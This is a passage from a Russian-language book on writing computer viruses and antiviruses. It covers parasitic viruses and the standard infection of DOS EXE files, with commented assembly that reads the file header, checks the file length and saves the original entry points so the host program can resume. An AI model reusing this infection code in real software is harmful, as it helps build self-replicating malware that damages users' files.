Игорь Гульев

Создаем вирус и антивирус


Скачать книгу

оверлей}

      ExecReal;

      end.

      Вирусы, внедряющиеся в программу (Parasitic)

      Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.

      Стандартное заражение EXE-файлов

      Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:

      ;Читаем заголовок EXE−файла (точнее, только первые 18h байт,

      ;которых вполне достаточно)

      ReadHeader:

      mov ah,3Fh

      mov dx,offset EXEHeader

      mov cx,0018h

      int 21h

      ;Устанавливаем в SI адрес считанного заголовка. В дальнейшем

      ;будем обращаться к заголовку, используя SI+смещение элемента

      mov si,offset EXEHeader

      ;Получаем реальную длину файла, переместив указатель текущей

      ;позиции чтения/записи в конец файла

      GetRealFSize:

      mov ax,4202h

      mov bx,Handle

      xor cx,cx

      xor dx,dx

      int 21h

      ;Сохраним полученную длину файла

      mov Reallen,dx

      mov Reallen+2,ax

      ;Так как речь идет о стандартной процедуре заражения, нужно

      ;помнить, что все вышесказанное не должно затрагивать

      ;оверлейные файлы. Их длина, указанная в заголовке,

      ;меньше реальной, то есть эти файлы загружаются

      ;в память не полностью.

      ;Следовательно, если заразить такой файл, вирус попадет

      ;в незагружаемую часть.

      ;Сохраним в стеке реальную длину EXE−файла

      push dx

      push ax

      ;Рассчитаем размер EXE−файла в 512−байтных страницах и остаток

      CompareOVL:

      mov cx,0200h

      div cx

      ;На данный момент в регистре AX находится число страниц

      ;(в каждой странице содержится 512 байт),

      ;а в регистре DX – остаток, образующий

      ;еще одну (неучтенную) страницу.

      ;Добавим эту страницу к общему числу страниц –

      ;если остаток не равен нулю, то

      ;увеличим число страниц

      or dx,dx

      jz m1

      inc ax

      m1:

      ;Будем считать пригодным для заражения

      ;стандартным способом файлы с длиной,

      ;полностью совпадающей с указанной в заголовке

      cmp ax,[si+PartPag]

      jne ExitProc

      cmp dx,[si+PageCnt]

      jne ExitProc

      ;Чтобы вирус смог вернуть управление

      ;зараженной программе, сохраним поля ReloSS,

      ;ExeSP, ReloCS, ExeIP из заголовка EXE−файла.

      ;Значения констант, используемых в программе,

      ;равны смещению соответствующего

      ;элемента в заголовке EXE−файла (Приложение А)

      InitRetVars:

      mov ax,[si+ReloSS]

      mov oldss,ax

      mov ax,[si+ExeSP]

      mov oldsp,ax

      mov ax,[si+ReloCS]

      mov oldcs,ax

      mov ax,[si+ExeIP]

      mov oldip,ax

      ;Восстановим из стека реальную длину файла

      ;В данном случае она совпадает с длиной, указанной в заголовке

      pop ax

      pop